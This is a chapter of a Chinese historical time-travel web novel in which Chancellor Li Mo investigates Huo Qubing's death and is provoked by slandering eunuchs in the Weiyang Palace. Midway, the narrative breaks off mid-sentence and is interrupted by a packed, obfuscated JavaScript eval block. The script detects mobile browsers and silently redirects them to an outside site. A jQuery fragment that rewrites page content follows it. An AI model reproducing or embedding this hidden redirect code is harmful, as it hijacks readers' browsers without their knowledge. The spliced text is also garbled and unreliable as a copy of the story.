“不确定。”李茉停顿了一下,“所以,要查!”
刘彻心中奔涌的悲伤稍稍减缓,站起身来,身影在灰暗的灯光下只有一个模糊的轮廓。黑影发出冰冷的命令:“彻查!”
查,查一查霍去病是从什么时候开始有症状的,又是怎么回来的?中途经历了哪些事?有哪些可疑的人。
李茉难以想象,她已经做了那么多准备,霍去病还是英年早逝。事情不假手于人,李茉亲自督办,她要真相,不是要借此攻讦谁。
李茉一边彻查,一边准备霍去病的丧礼,同时,召边关大将分批回长安做身体检查。
宫中霍嬗得到极好的照顾,十多位太医轮番诊脉,确定他身体健康,继承了父亲优秀的身体素质,比同龄小孩儿更健康。
刘彻得知这个消息,心怀大慰,把霍嬗养在宫中,就像当年养育他的父亲一样,希望他将来也成为他父亲一样的人。
卫青第一批从边关换防回来,太医犹犹豫豫不敢下结论,还是李茉派了义华这个她亲手培养的军医过去。
义华干脆下了遗嘱:“大将军身上暗伤颇多,必须静养。一是刀剑金簇外伤,许多都伤到经脉、骨骼,阴雨天酸麻胀痛,老来更遭罪;二是常年驰骋沙场,生机消耗过甚,人体犹如一桶水,即便大将军的这桶水比别人多些,也经不住只往外舀,不往里补。”
“最后,大将军思虑过重,人一直高度紧绷也是会生病的。常人专心致志一盏茶,回过神来汗湿脊背,大将军常年上战场,背负常人不敢想的压力,再不休息,弦会崩断的。”
“静养!静养!”刘彻听了这话,立刻大声道:“仲卿,你就留在长安,朕再不能承受失去你。”
“陛下……臣实无碍……”卫青原本坐在胡床上,任由义华诊脉,此时起身拱手,想要剖白。
刘彻按住他:“听大夫的!”
刘彻知道义华,她有个姐姐叫义妁,曾为太后治病,擅治内外科及针灸。众所知周,丞相李茉最爱有才干的女子,不仅对义妁大加赞赏,给钱、给人,资助其精进医束,更打理培养她的姊妹。义华是其中最优秀的,对外伤尤为擅长,因在雁门组建伤兵营,纠治了无数军士,在军中极有声望。
卫青无奈,只得应了,并保证:“累陛下担忧,实在是臣的不是,待臣养好身体,再为陛下征讨匈奴。”
“好,朕等着你!”刘彻郑重应下。如今卫青就是大汉军魂的代表,只要他活着一日,汉军将士都有希望。
探望过卫青后,刘彻追问李茉彻查霍去病死因的结论。
“据亲兵回忆,去病的身体是从去年开始不好的,偶尔体力不支、眼花、疲乏,但未引起重视。他素爱长途奔袭,这种情况以前也有过。因时间久了,亲兵也回忆不起是否有可疑人员。彻查亲兵、偏将,家中没有突然发横财、也没有突然升官进爵的。亲兵、辅兵战死的概率与往年相比也很正常,没有出现生面孔。”
“去病身边的每一个人都仔细盘查过,亲族查三代以内,每个人的出身都很清白。本身能入去病麾下、能近他身的都是千挑万选的勇士。给他准备的酒水食物是在急行军中弄丢的,那场瘟疫早就发作,已有医官处置,去病也未直接接触。偏偏一队人里,只他一个病倒,其他亲兵都无恙。”
李茉只能下结论:“目前没有证据表明,去病的死是人为的。”
“有没有可能是匈奴?”
“若匈奴有这本事,汉匈局势不至于如今。”李茉的想法与刘彻刚好相反,她第一个怀疑的人是后宫有子嗣的家族,第二个怀疑的是因霍去病性情骄矜无意中得罪了小人。
可惜,一一排查下来,真是个意外。
刘彻静静听着,仰头看了看阴沉沉的天空:“这难道是天意吗?”
天命如朗日,人力如萤烛。
历史人物的命运,真的无法改变吗?李茉不信,又不敢一点儿都不信。十年前她就把指南针交给李广,可李广终究还是因迷途贻误军机,继而自刎。后来,李茉仔细查问才知,李广看不起自己,根本没用指南针。
李广啊李广,人人都感慨李广难封。真接触之后,才知这是一个多么固执、死要面子的人,他要绝对礼遇,若后辈、出身不如他的当面指出他的缺点,那就是和他结死仇。他不认为那是帮助,他坚信那是羞辱。
李广死了,霍去病也死了,接下来卫青的命运又如何呢?李茉开始反思,自己加快征伐匈奴的做法是否正确。与历史上相比,征伐匈奴的进程至少快了五年。当年想快,是为了不让战争拖垮民生;如今快速战争,好像拖垮了天才将领的身体。霍去病本该能活得更久一点……
刘彻望着黑沉阴暗的天空,任由自己在人前显出疲态,被扶上马车。
车轮滚滚,李茉、卫青站在原地恭送帝王车架。
等人走远了,李茉叮嘱道:“仲卿保重身体,在长安多修养几年。”
“我穷苦出身,不是高床软卧之人,终究,还是要回战场的。”卫青望着西北方向,他有预感,他的归宿在那里。
“又不是让你躺着不动,可以编写兵书、撰写对战匈奴的策略,也可以教养孩子……多生几个孩子?”说到最后,李茉语音上扬,明显是开玩笑。
卫青身侧小少年闻言,更加贴紧父亲。这是卫抗1,抗匈奴的抗。卫青只有这一个儿子,他没有娶妻,也没有再纳妾生子。之前平阳公主再度守寡,有意招他为驸马,卫青以自身卑贱不匹配为由拒绝了。
“我有抗儿就够了。”卫青摸摸卫抗的头,小少年对他的父亲满是濡慕依赖。
李茉知道,卫青当年上战场之前,父母兄弟苦劝,他才想要留下血脉,这本是人之常情。在回长安之前,他不知道自己有个儿子。可既然有了,他就不会逃避责任。他仔细教养卫抗,从不迁怒他、忽视他,不在长安的日子,卫抗也被刘彻接入宫中教养。
可是,卫青也有自己的原则。他不娶妻、不纳妾、不养士,就这么孤独的活着,自得其乐。
刘彻喜爱他的慎独,李茉也曾劝他向前看。只是卫青若是那么容易被劝说,就不是卫青了。
李茉看看天色,“我还要去廷尉署一趟,先走了。”
卫青颔首,目送她离开。
卫抗恭敬行晚辈礼,口称:“恭送李相。”等听不到马蹄声,卫抗才抬头问:“阿父,你这次能长久留在长安吗?”
“将军若长久留在长安,长安便不能长安啦。”卫青牵着孩儿的手,转身回府。
李茉在廷尉署拿到卷宗,发现有个养马的辅兵身后事不太对,可惜人已经死了,唯一的弟弟在也补位进了羽林骑。李茉拿上卷宗往宫里去,她不方便直接插手军事。
未央宫外,宫巷的夹角处,李茉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037924|173613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听到有人小声议论霍去病。挥手制止准备呵斥的扈从,李茉想听听他们能说出什么花儿来。
“杀伐过度,肯定是被冤魂缠身了。”
“听说是匈奴大巫用一千头羊祭天,咒杀了他!”
“咱们大汉也有神仙呢,不是咒杀,是下毒!他素来看不起下等人,也不瞧瞧自己的出身?”
“你们说,那位为啥对他的丧仪这么上心?”
“还能因为什么?没有丈夫就生育的女人,说不得他们早就勾搭上了。”
说完,发出咕咕咕的笑声。李茉走过转角,还看到他们下流手势和猥琐表情。
“李相饶命!”几个內侍打扮的人看到李茉的脸,如同看到老虎一般,吓得跪在地上连连磕头,口中不住喊饶命。
李茉懒得和他们费口舌,挥挥手,不远处站岗的禁卫小跑过来抓人。
眼看就要被拖下去,其中一个小内侍高声喊道:“难不成被我们说中了!”
立刻有人帮腔:“李相不能杀我,我们是未央宫的人!”
说完,几个人奔逃起来,在宽阔的未央宫广场前奔逃起来!几个禁卫无语,从未见过如此场面,一时怔愣,竟然没把人按住。
一股无名的愤怒突然从胸中涌起,不管这背后有什么陷阱,李茉想杀人,想要这些人侮辱英雄的人去死!立刻!马上!
李茉反手抽出随扈佩剑,被女护卫死死按住:“女君,未央宫中,不可妄动兵器!”
李茉却已经听不下去了,李广的死、霍去病的死,无法挣脱的命运仿佛蛛网一般,李茉胸中怒火腾腾燃烧,烧得自己没有理智了。“撒手!”
女护卫死死抱着佩剑不放:“女君,冷静,不要中计!他们是故意激怒你!不能上当!”
“我知道!激怒我的代价,就是死!”李茉不想思考,她只想手刃小人。
女护卫以下犯上,直接按住李茉,“女君,女君!冷静!冷静!”
李茉已经听不见了,她一掌推开女护卫,倒提宝剑,追着那几个內侍,往殿门口杀去。
那几个说闲话的內侍已经大呼小叫跑到了宫门口,刘彻在众人的簇拥下走出殿门,有人斥问:“何人如此大胆,在未央宫喧哗!啊——李相,你干什么?护驾,快护驾!”
看到刘彻,李茉沸腾的内心突然就冷了下来,多么明显的陷阱!
李茉扔了佩剑,大踏步走过殿前广场,来到刘彻面前,冷笑两声:“这几个人专门等在拐角,议论我对去病如此上心,肯定有点儿床/上/胯/下的关系。”
这回轮到刘彻怒火中烧了,他的脸一下子被怒火烧红,大声呵斥:“来人!押下去!杖毙!立刻!”
李茉想要上前,刚才高呼护驾的人还要阻拦,被刘彻不耐烦挥开。
李茉一把拉住刘彻的胳膊:“几个手无缚鸡之力的內侍,跑了这么远,禁卫居然抓不住?”
刘彻环视周围,禁卫们吓得立刻跪倒在地,校尉出列解释道:“仓促之下,末将等一时未反应过来……”
“现在,我敢肯定,去病的死,是人祸。”李茉双目死死盯着刘彻:“他们开始给我下套了!”
“放肆!放肆!何人胆敢阴害去病,构陷朕的丞相!”刘彻双手拖着李茉的胳膊,鹰眼虎目一般巡视一圈,“来人,今日在场者,统统压下去,查!给朕挖地三尺,查!”